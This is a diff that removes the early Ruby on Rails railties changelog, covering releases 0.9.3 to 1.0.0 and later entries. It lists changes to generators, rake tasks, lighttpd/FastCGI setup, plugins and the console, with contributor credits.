-* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process [David Heinemeier Hansson]
-
-* Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 [esad@esse.at]
-
-* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 [David Heinemeier Hansson]
-
-* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 [Thijs van der Vossen]
-
-* Added test:uncommitted to test changes since last checkin to Subversion #4035 [technomancy@gmail.com]
-
-* Help script/about print the correct svn revision when in a non-English locale. #4026 [babie7a0@ybb.ne.jp]
-
-* Add 'app' accessor to script/console as an instance of Integration::Session [Jamis Buck]
-
-* Generator::Base#usage takes an optional message argument which defaults to Generator::Base#usage_message. [Jeremy Kemper]
-
-* Remove the extraneous AR::Base.threaded_connections setting from the webrick server. [Jeremy Kemper]
-
-* Add integration test support to app generation and testing [Jamis Buck]
-
-* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though [David Heinemeier Hansson]
-
-* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! [David Heinemeier Hansson]
-
-* Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 [ror@andreas-s.net]
-
-* Added collision option to template generation in generators #3329 [anna@wota.jp]. Examples:
-
- m.template "stuff.config" , "config/stuff.config" , :collision => :skip
- m.template "auto-stamping", "config/generator.log", :collision => :force
-
-* Added more information to script/plugin's doings to ease debugging #3755 [Rick Olson]
-
-* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets [David Heinemeier Hansson]
-
-* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration [David Heinemeier Hansson]
-
-* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) [David Heinemeier Hansson]
-
-* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton [David Heinemeier Hansson]
-
-* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration [David Heinemeier Hansson]
-
-* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration [David Heinemeier Hansson]
-
-* Allow script/server -c /path/to/lighttpd.conf [Jeremy Kemper]
-
-* Remove hardcoded path to reaper script in script/server [Jeremy Kemper]
-
-* Update script.aculo.us to V1.5.3 [Thomas Fuchs]
-
-* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things [David Heinemeier Hansson]
-
-* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. [David Heinemeier Hansson]
-
-* Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized. Useful for things like per-environment configuration of plugins. [Michael Koziarski]
-
-* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. [David Heinemeier Hansson]
-
-* Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 [tom@craz8.com]
-
-* Fixed documentation tasks to work with Rake 0.7.0 #3563 [kazuhiko@fdiary.net]
-
-* Update to Prototype 1.5.0_pre0 [Sam Stephenson]
-
-* Sort the list of plugins so we load in a consistent order [Rick Olson]
-
-* Show usage when script/plugin is called without arguments [tom@craz8.com]
-
-* Corrected problems with plugin loader where plugins set 'name' incorrectly #3297 [anna@wota.jp]
-
-* Make migration generator only report on exact duplicate names, not partial dupliate names. #3442 [jeremy@planetargon.com Marcel Molina Jr.]
-
-* Fix typo in mailer generator USAGE. #3458 [chriztian.steinmeier@gmail.com]
-
-* Ignore version mismatch between pg_dump and the database server. #3457 [Simon Stapleton]
-
-* Reap FCGI processes after lighttpd exits. [Sam Stephenson]
-
-* Honor ActiveRecord::Base.pluralize_table_names when creating and destroying session store table. #3204. [rails@bencurtis.com, Marcel Molina Jr.]
-
-*1.0.0* (December 13th, 2005)
-
-* Update instructions on how to find and install generators. #3172. [Chad Fowler]
-
-* Generator looks in vendor/generators also. [Chad Fowler]
-
-* Generator copies files in binary mode. #3156 [minimudboy@gmail.com]
-
-* Add builtin/ to the gemspec. Closes #3047. [Nicholas Seckar, Sam Stephenson]
-
-* Add install.rb file to plugin generation which is loaded, if it exists, when you install a plugin. [Marcel Molina Jr.]
-
-* Run initialize_logger in script/lighttpd to ensure the log file exists before tailing it. [Sam Stephenson]
-
-* Make load_fixtures include csv fixtures. #3053. [me@mdaines.com]
-
-* Fix freeze_gems so that the latest rails version is dumped by default. [Nicholas Seckar]
-
-* script/plugin: handle root paths and plugin names which contain spaces. #2995 [justin@aspect.net]
-
-* Model generator: correct relative path to test_helper in unit test. [Jeremy Kemper]
-
-* Make the db_schema_dump task honor the SCHEMA environment variable if present the way db_schema_import does. #2931. [Blair Zajac]
-
-* Have the lighttpd server script report the actual ip to which the server is bound. #2903. [Adam]
-
-* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. [James Adam]
-
-* Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. [anonymous]
-
-* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database. #2964 [Dreamer3]
-
-* Introducing the session_migration generator. Creates an add_session_table migration. Allows generator to specify migrations directory. #2958, #2960 [Rick Olson]
-
-* script/console uses RAILS_ENV environment variable if present. #2932 [Blair Zajac <blair@orcaware.com>
-
-* Windows: eliminate the socket option in database.yml. #2924 [Wayne Vucenic <waynev@gmail.com>]
-
-* Eliminate nil from newly generated logfiles. #2927 [Blair Zajac <blair@orcaware.com>]
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Eliminate Subversion dependencies in scripts/plugin. Correct install options. Introduce --force option to reinstall a plugin. Remove useless --long option for list. Use --quiet to quiet the download output and --revision to update to a specific svn revision. #2842 [Chad Fowler, Rick Olson]
-
-* SQLite: the clone_structure_to_test and purge_test_database Rake tasks should always use the test environment. #2846 [Rick Olson]
-
-* Make sure that legacy db tasks also reference :database for SQLite #2830 [kazuhiko@fdiary.net]
-
-* Pass __FILE__ when evaluating plugins' init.rb. #2817 [James Adam]
-
-* Better svn status matching for generators. #2814 [François Beausoleil <francois.beausoleil@gmail.com>, Blair Zajac <blair@orcaware.com>]
-
-* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities [David Heinemeier Hansson]
-
-* Don't detach or fork for script/server tailing [Nicholas Seckar]
-
-* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path for compatibility with web servers that don't have Ruby in path [David Heinemeier Hansson]
-
-* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [David Heinemeier Hansson] #2660
-
-* Correct versioning in :freeze_gems Rake task. #2778 [Jakob Skjerning, Jeremy Kemper]
-
-* Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. [Sam Stephenson]
-
-
-*0.14.3 (RC4)* (November 7th, 2005)
-
-* Add 'add_new_scripts' rake task for adding new rails scripts to script/* [Jamis Buck]
-
-* Remove bogus hyphen from script/process/reaper calls to 'ps'. #2767 [anonymous]
-
-* Copy lighttpd.conf when it is first needed, instead of on app creation [Jamis Buck]
-
-* Use require_library_or_gem 'fcgi' in script/server [Sam Stephenson]
-
-* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' [David Heinemeier Hansson]
-
-* New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins']. [Jeremy Kemper]
-
-* Plugins are discovered in nested paths, so you can organize your plugins directory as you like. [Jeremy Kemper]
-
-* Refactor load_plugin from load_plugins. #2757 [alex.r.moon@gmail.com]
-
-* Make use of silence_stderr in script/lighttpd, script/plugin, and Rails::Info [Sam Stephenson]
-
-* Enable HTTP installation of plugins when svn isn't avaialable. Closes #2661. [Chad Fowler]
-
-* Added script/about to display formatted Rails::Info output [Sam Stephenson]
-
-* Added Rails::Info to catalog assorted information about a Rails application's environment [Sam Stephenson]
-
-* Tail the logfile when running script/server lighttpd in the foreground [Sam Stephenson]
-
-* Try to guess the port number from config/lighttpd.conf in script/server lighttpd [Sam Stephenson]
-
-* Don't reap spawn-fcgi. #2727 [matthew@walker.wattle.id.au]
-
-* Reaper knows how to find processes even if the dispatch path is very long. #2711 [matthew@walker.wattle.id.au]
-
-* Make fcgi handler respond to TERM signals with an explicit exit [Jamis Buck]
-
-* Added demonstration of fixture use to the test case generated by the model generator [David Heinemeier Hansson]
-
-* If specified, pass PostgreSQL client character encoding to createdb. #2703 [Kazuhiko <kazuhiko@fdiary.net>]
-
-* Catch CGI multipart parse errors. Wrap dispatcher internals in a failsafe response handler. [Jeremy Kemper]
-
-* The freeze_gems Rake task accepts the VERSION environment variable to decide which version of Rails to pull into vendor/rails. [Chad Fowler, Jeremy Kemper]
-
-* Removed script.aculo.us.js, builder.js and slider.js (preperation for move of scriptaculous extensions to plugins, core scriptaculous will remain in Railties) [Thomas Fuchs]
-
-* The freeze_edge Rake task does smarter svn detection and can export a specific revision by passing the REVISION environment variable. For example: rake freeze_edge REVISION=1234. #2663 [Rick Olson]
-
-* Comment database.yml and include PostgreSQL and SQLite examples. [Jeremy Kemper]
-
-* Improve script/plugin on Windows. #2646 [Chad Fowler]
-
-* The *_plugindoc Rake tasks look deeper into the plugins' lib directories. #2652 [bellis@deepthought.org]
-
-* The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml. [Anatol Pomozov <anatol.pomozov@gmail.com>]
-
-* Add task to generate rdoc for all installed plugins. [Marcel Molina Jr.]
-
-* Update script.aculo.us to V1.5_rc4 [Thomas Fuchs]
-
-* Add default Mac + DarwinPorts MySQL socket locations to the app generator. [Jeremy Kemper]
-
-* Migrations may be destroyed: script/destroy migration foo. #2635 [Charles M. Gerungan <charles.gerungan@gmail.com>, Jamis Buck, Jeremy Kemper]
-
-* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator [David Heinemeier Hansson]
-
-* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service [David Heinemeier Hansson]
-
-* Added script/plugin to manage plugins (install, remove, list, etc) [Ryan Tomayko]
-
-* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) [David Heinemeier Hansson]
-
-* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) [David Heinemeier Hansson]
-
-* Fixed scaffold generator when started with only 1 parameter #2609 [self@mattmower.com]
-
-* rake should run functional tests even if the unit tests have failures [Jim Weirich]
-
-* Back off cleanpath to be symlink friendly. Closes #2533 [Nicholas Seckar]
-
-* Load rake task files in alphabetical order so you can build dependencies and count on them #2554 [Blair Zajac]
-
-
-*0.14.2 (RC3)* (October 26th, 2005)
-
-* Constants set in the development/test/production environment file are set in Object
-
-* Scaffold generator pays attention to the controller name. #2562 [self@mattmower.com]
-
-* Include tasks from vendor/plugins/*/tasks in the Rakefile #2545 [Rick Olson]
-
-
-*0.14.1 (RC2)* (October 19th, 2005)
-
-* Don't clean RAILS_ROOT on windows
-
-* Remove trailing '/' from RAILS_ROOT [Nicholas Seckar]
-
-* Upgraded to Active Record 1.12.1 and Action Pack 1.10.1
-
-
-*0.14.0 (RC1)* (October 16th, 2005)
-
-* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators [Tobias Lütke]
-
-* Fix rake dev and related commands [Nicholas Seckar]
-
-* The rails command tries to deduce your MySQL socket by running `mysql_config
---socket`. If it fails, default to /path/to/your/mysql.sock
-
-* Made the rails command use the application name for database names in the tailored database.yml file. Example: "rails ~/projects/blog" will use "blog_development" instead of "rails_development". [Florian Weber]
-
-* Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system)
-
-* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. [Tobias Lütke]
-
-* Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. [Nicholas Seckar]
-
-* Made the instantiated/transactional fixtures settings be controlled through Rails::Initializer. Transactional and non-instantiated fixtures are default from now on. [Florian Weber]
-
-* Support using different database adapters for development and test with ActiveRecord::Base.schema_format = :ruby [Sam Stephenson]
-
-* Make webrick work with session(:off)
-
-* Add --version, -v option to the Rails command. Closes #1840. [stancell]
-
-* Update Prototype to V1.4.0_pre11, script.aculo.us to V1.5_rc3 [2504] and fix the rails generator to include the new .js files [Thomas Fuchs]
-
-* Make the generator skip a file if it already exists and is identical to the new file.
-
-* Add experimental plugin support #2335
-
-* Made Rakefile aware of new .js files in script.aculo.us [Thomas Fuchs]
-
-* Make table_name and controller_name in generators honor AR::Base.pluralize_table_names. #1216 #2213 [kazuhiko@fdiary.net]
-
-* Clearly label functional and unit tests in rake stats output. #2297 [lasse.koskela@gmail.com]
-
-* Make the migration generator only check files ending in *.rb when calculating the next file name #2317 [Chad Fowler]
-
-* Added prevention of duplicate migrations from the generator #2240 [François Beausoleil]
-
-* Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file).
-
-* Reformed all the config/environments/* files to conform to the new Rails::Configuration approach. Fully backwards compatible.
-
-* Added create_sessions_table, drop_sessions_table, and purge_sessions_table as rake tasks for databases that supports migrations (MySQL, PostgreSQL, SQLite) to get a table for use with CGI::Session::ActiveRecordStore
-
-* Added dump of schema version to the db_structure_dump task for databases that support migrations #1835 [Rick Olson]
-
-* Fixed script/profiler for Ruby 1.8.2 #1863 [Rick Olson]
-
-* Fixed clone_structure_to_test task for SQLite #1864 [jon@burningbush.us]
-
-* Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 [ask@develooper.com]
-
-* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 [Kevin Clark]
-
-* Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 [wejn@box.cz]
-
-* Make the default stats task extendable by modifying the STATS_DIRECTORIES constant
-
-* Allow the selected environment to define RAILS_DEFAULT_LOGGER, and have Rails::Initializer use it if it exists.
-
-* Moved all the shared tasks from Rakefile into Rails, so that the Rakefile is empty and doesn't require updating.
-
-* Added Rails::Initializer and Rails::Configuration to abstract all of the common setup out of config/environment.rb (uses config/boot.rb to bootstrap the initializer and paths)
-
-* Fixed the scaffold generator to fail right away if the database isn't accessible instead of in mid-air #1169 [Chad Fowler]
-
-* Corrected project-local generator location in scripts.rb #2010 [Michael Schuerig]
-
-* Don't require the environment just to clear the logs #2093 [Scott Barron]
-
-* Make the default rakefile read *.rake files from config/tasks (for easy extension of the rakefile by e.g. generators)
-
-* Only load breakpoint in development mode and when BREAKPOINT_SERVER_PORT is defined.
-
-* Allow the --toggle-spin switch on process/reaper to be negated
-
-* Replace render_partial with render :partial in scaffold generator [Nicholas Seckar]
-
-* Added -w flag to ps in process/reaper #1934 [Scott Barron]
-
-* Allow ERb in the database.yml file (just like with fixtures), so you can pull out the database configuration in environment variables #1822 [Duane Johnson]
-
-* Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help.
-
-* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 [Marcel Molina Jr.]
-
-* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 [Michael Schubert]
-
-* Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down).
-
-
-*0.13.1* (11 July, 2005)
-
-* Look for app-specific generators in RAILS_ROOT/generators rather than the clunky old RAILS_ROOT/script/generators. Nobody really uses this feature except for the unit tests, so it's a negligible-impact change. If you want to work with third-party generators, drop them in ~/.rails/generators or simply install gems.
-
-* Fixed that each request with the WEBrick adapter would open a new database connection #1685 [Sam Stephenson]
-
-* Added support for SQL Server in the database rake tasks #1652 [Ken Barker] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set.
-
-* Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version
-
-* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 [court3nay]
-
-* Improved documentation for environment config files #1625 [court3nay]
-
-
-*0.13.0* (6 July, 2005)
-
-* Changed the default logging level in config/environment.rb to INFO for production (so SQL statements won't be logged)
-
-* Added migration generator: ./script/generate migration add_system_settings
-
-* Added "migrate" as rake task to execute all the pending migrations from db/migrate
-
-* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 [Marcel Molina Jr.]
-
-* Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 [Michael Koziarski]
-
-* SIGTERM also gracefully exits dispatch.fcgi. Ignore SIGUSR1 on Windows.
-
-* Add the option to manually manage garbage collection in the FastCGI dispatcher. Set the number of requests between GC runs in your public/dispatch.fcgi [Stefan Kaes]
-
-* Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them.
-
-* RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush)
-
-* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 [Michael Schubert]
-
-* ActionMailer::Base subclasses are reloaded with the other rails components #1262
-
-* Made the WEBrick adapter not use a mutex around action performance if ActionController::Base.allow_concurrency is true (default is false)
-
-* Fixed that mailer generator generated fixtures/plural while units expected fixtures/singular #1457 [Scott Barron]
-
-* Added a 'whiny nil' that's aim to ensure that when users pass nil to methods where that isn't appropriate, instead of NoMethodError? and the name of some method used by the framework users will see a message explaining what type of object was expected. Only active in test and development environments by default #1209 [Michael Koziarski]
-
-* Fixed the test_helper.rb to be safe for requiring controllers from multiple spots, like app/controllers/article_controller.rb and app/controllers/admin/article_controller.rb, without reloading the environment twice #1390 [Nicholas Seckar]
-
-* Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 [Nicholas Seckar]
-
-* Added -e/--environment option to script/runner #1408 [François Beausoleil]
-
-* Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id]. #1367
-
-* Added graceful exit from pressing CTRL-C during the run of the rails command #1150 [Caleb Tennis]
-
-* Allow graceful exits for dispatch.fcgi processes by sending a SIGUSR1. If the process is currently handling a request, the request will be allowed to complete and then will terminate itself. If a request is not being handled, the process is terminated immediately (via #exit). This basically works like restart graceful on Apache. [Jamis Buck]
-
-* Made dispatch.fcgi more robust by catching fluke errors and retrying unless its a permanent condition. [Jamis Buck]
-
-* Added console --profile for profiling an IRB session #1154 [Jeremy Kemper]
-
-* Changed console_sandbox into console --sandbox #1154 [Jeremy Kemper]
-
-
-*0.12.1* (20th April, 2005)
-
-* Upgraded to Active Record 1.10.1, Action Pack 1.8.1, Action Mailer 0.9.1, Action Web Service 0.7.1
-
-
-*0.12.0* (19th April, 2005)
-
-* Fixed that purge_test_database would use database settings from the development environment when recreating the test database #1122 [rails@cogentdude.com]
-
-* Added script/benchmarker to easily benchmark one or more statement a number of times from within the environment. Examples:
-
- # runs the one statement 10 times
- script/benchmarker 10 'Person.expensive_method(10)'
-
- # pits the two statements against each other with 50 runs each
- script/benchmarker 50 'Person.expensive_method(10)' 'Person.cheap_method(10)'
-
-* Added script/profiler to easily profile a single statement from within the environment. Examples:
-
- script/profiler 'Person.expensive_method(10)'
- script/profiler 'Person.expensive_method(10)' 10 # runs the statement 10 times
-
-* Added Rake target clear_logs that'll truncate all the *.log files in log/ to zero #1079 [Lucas Carlson]
-
-* Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 [k@v2studio.com]
-
-* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 [pburleson]
-
-* Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4
-
-
-*0.11.1* (27th March, 2005)
-
-* Fixed the dispatch.fcgi use of a logger
-
-* Upgraded to Active Record 1.9.1, Action Pack 1.7.0, Action Mailer 0.8.1, Action Web Service 0.6.2, Active Support 1.0.3
-
-
-*0.11.0* (22th March, 2005)
-
-* Removed SCRIPT_NAME from the WEBrick environment to prevent conflicts with PATH_INFO #896 [Nicholas Seckar]
-
-* Removed ?$1 from the dispatch.f/cgi redirect line to get rid of 'complete/path/from/request.html' => nil being in the @params now that the ENV["REQUEST_URI"] is used to determine the path #895 [dblack/Nicholas Seckar]
-
-* Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process
-
-* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 [Tobias Lütke]
-
-* Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 [Nicholas Seckar]
-
-* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Lütke]
-
-* Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples:
-
- ./script/runner 'ReminderService.deliver'
- ./script/runner 'Mailer.receive(STDIN.read)'
-
- This makes it easier to do CRON and postfix scripts without actually making a script just to trigger 1 line of code.
-
-* Fixed webrick_server cookie handling to allow multiple cookes to be set at once #800, #813 [dave@cherryville.org]
-
-* Fixed the Rakefile's interaction with postgresql to:
-
- 1. Use PGPASSWORD and PGHOST in the environment to fix prompting for
- passwords when connecting to a remote db and local socket connections.
- 2. Add a '-x' flag to pg_dump which stops it dumping privileges #807 [rasputnik]
- 3. Quote the user name and use template0 when dumping so the functions doesn't get dumped too #855 [pburleson]
- 4. Use the port if available #875 [madrobby]
-
-* Upgraded to Active Record 1.9.0, Action Pack 1.6.0, Action Mailer 0.8.0, Action Web Service 0.6.1, Active Support 1.0.2
-
-
-*0.10.1* (7th March, 2005)
-
-* Fixed rake stats to ignore editor backup files like model.rb~ #791 [Sebastian Kanthak]
-
-* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 [Tobias Lütke]
-
-* Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence)
-
-* Fixed that scaffold generator new template should use local variable instead of instance variable #778 [Dan Peterson]
-
-* Allow unit tests to run on a remote server for PostgreSQL #781 [adamm@galacticasoftware.com]
-
-* Added web_service generator (run ./script/generate web_service for help) #776 [Leon Bredt]
-
-* Added app/apis and components to code statistics report #729 [Scott Barron]
-
-* Fixed WEBrick server to use ABSOLUTE_RAILS_ROOT instead of working_directory #687 [Nicholas Seckar]
-
-* Fixed rails_generator to be usable without RubyGems #686 [Cristi BALAN]
-
-* Fixed -h/--help for generate and destroy generators #331
-
-* Added begin/rescue around the FCGI dispatcher so no uncaught exceptions can bubble up to kill the process (logs to log/fastcgi.crash.log)
-
-* Fixed that association#count would produce invalid sql when called sequentialy #659 [kanis@comcard.de]
-
-* Fixed test/mocks/testing to the correct test/mocks/test #740
-
-* Added early failure if the Ruby version isn't 1.8.2 or above #735
-
-* Removed the obsolete -i/--index option from the WEBrick servlet #743
-
-* Upgraded to Active Record 1.8.0, Action Pack 1.5.1, Action Mailer 0.7.1, Action Web Service 0.6.0, Active Support 1.0.1
-
-
-*0.10.0* (24th February, 2005)
-
-* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 [Marcel Molina Jr.]
-
-* Fixed that script/server -d was broken so daemon mode couldn't be used #687 [Nicholas Seckar]
-
-* Upgraded to breakpoint 92 which fixes:
-
- * overload IRB.parse_opts(), fixes #443
- => breakpoints in tests work even when running them via rake
- * untaint handlers, might fix an issue discussed on the Rails ML
- * added verbose mode to breakpoint_client
- * less noise caused by breakpoint_client by default
- * ignored TerminateLineInput exception in signal handler
- => quiet exit on Ctrl-C
-
-* Added support for independent components residing in /components. Example:
-
- Controller: components/list/items_controller.rb
- (holds a List::ItemsController class with uses_component_template_root called)
-
- Model : components/list/item.rb
- (namespace is still shared, so an Item model in app/models will take precedence)
-
- Views : components/list/items/show.rhtml
-
-
-* Added --sandbox option to script/console that'll roll back all changes made to the database when you quit #672 [Jeremy Kemper]
-
-* Added 'recent' as a rake target that'll run tests for files that changed in the last 10 minutes #612 [Jeremy Kemper]
-
-* Changed script/console to default to development environment and drop --no-inspect #650 [Jeremy Kemper]
-
-* Added that the 'fixture :posts' syntax can be used for has_and_belongs_to_many fixtures where a model doesn't exist #572 [Jeremy Kemper]
-
-* Added that running test_units and test_functional now performs the clone_structure_to_test as well #566 [rasputnik]
-
-* Added new generator framework that informs about its doings on generation and enables updating and destruction of generated artifacts. See the new script/destroy and script/update for more details #487 [Jeremy Kemper]
-
-* Added Action Web Service as a new add-on framework for Action Pack [Leon Bredt]
-
-* Added Active Support as an independent utility and standard library extension bundle
-
-* Upgraded to Active Record 1.7.0, Action Pack 1.5.0, Action Mailer 0.7.0
-
-
-*0.9.5* (January 25th, 2005)
-
-* Fixed dependency reloading by switching to a remove_const approach where all Active Records, Active Record Observers, and Action Controllers are reloading by undefining their classes. This enables you to remove methods in all three types and see the change reflected immediately and it fixes #539. This also means that only those three types of classes will benefit from the const_missing and reloading approach. If you want other classes (like some in lib/) to reload, you must use require_dependency to do it.
-
-* Added Florian Gross' latest version of Breakpointer and friends that fixes a variaty of bugs #441 [Florian Gross]
-
-* Fixed skeleton Rakefile to work with sqlite3 out of the box #521 [rasputnik]
-
-* Fixed that script/breakpointer didn't get the Ruby path rewritten as the other scripts #523 [brandt@kurowski.net]
-
-* Fixed handling of syntax errors in models that had already been succesfully required once in the current interpreter
-
-* Fixed that models that weren't referenced in associations weren't being reloaded in the development mode by reinstating the reload
-
-* Fixed that generate scaffold would produce bad functional tests
-
-* Fixed that FCGI can also display SyntaxErrors
-
-* Upgraded to Active Record 1.6.0, Action Pack 1.4.0
-
-
-*0.9.4.1* (January 18th, 2005)
-
-* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 [Marcel Molina Jr.]
-
-* Fixed binding of caller #496 [Alexey]
-
-* Upgraded to Active Record 1.5.1, Action Pack 1.3.1, Action Mailer 0.6.1
-
-
-*0.9.4* (January 17th, 2005)
-
-* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller [Tobias Lütke]
-
-* Flipped code-to-test ratio around to be more readable #468 [Scott Baron]
-
-* Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 [Lucas Carlson]
-
-* Fixed that auto reloading would some times not work or would reload the models twice #475 [Tobias Lütke]
-
-* Added rewrite rules to deal with caching to public/.htaccess
-
-* Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model.
-
-* Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from
- RAILS_ENV instead of just forcing development #424 [Tobias Lütke]
-
-* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 [Chris McGrath]
-
-* Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby
-
-* Removed Fancy Indexing as a default option on the WEBrick servlet as it made it harder to use various caching schemes
-
-* Upgraded to Active Record 1.5, Action Pack 1.3, Action Mailer 0.6
-
-
-*0.9.3* (January 4th, 2005)
-
-* Added support for SQLite in the auto-dumping/importing of schemas for development -> test #416
-
-* Added automated rewriting of the shebang lines on installs through the gem rails command #379 [Manfred Stienstra]
-
-* Added ActionMailer::Base.deliver_method = :test to the test environment so that mail objects are available in ActionMailer::Base.deliveries
- for functional testing.
-
-* Added protection for creating a model through the generators with a name of an existing class, like Thread or Date.
- It'll even offer you a synonym using wordnet.princeton.edu as a look-up. No, I'm not kidding :) [Florian Gross]
-
-* Fixed dependency management to happen in a unified fashion for Active Record and Action Pack using the new Dependencies module. This means that
- the environment options needs to change from:
-
- Before in development.rb:
- ActionController::Base.reload_dependencies = true  
- ActiveRecord::Base.reload_associations     = true
-
- Now in development.rb:
- Dependencies.mechanism = :load
-
- Before in production.rb and test.rb:
- ActionController::Base.reload_dependencies = false
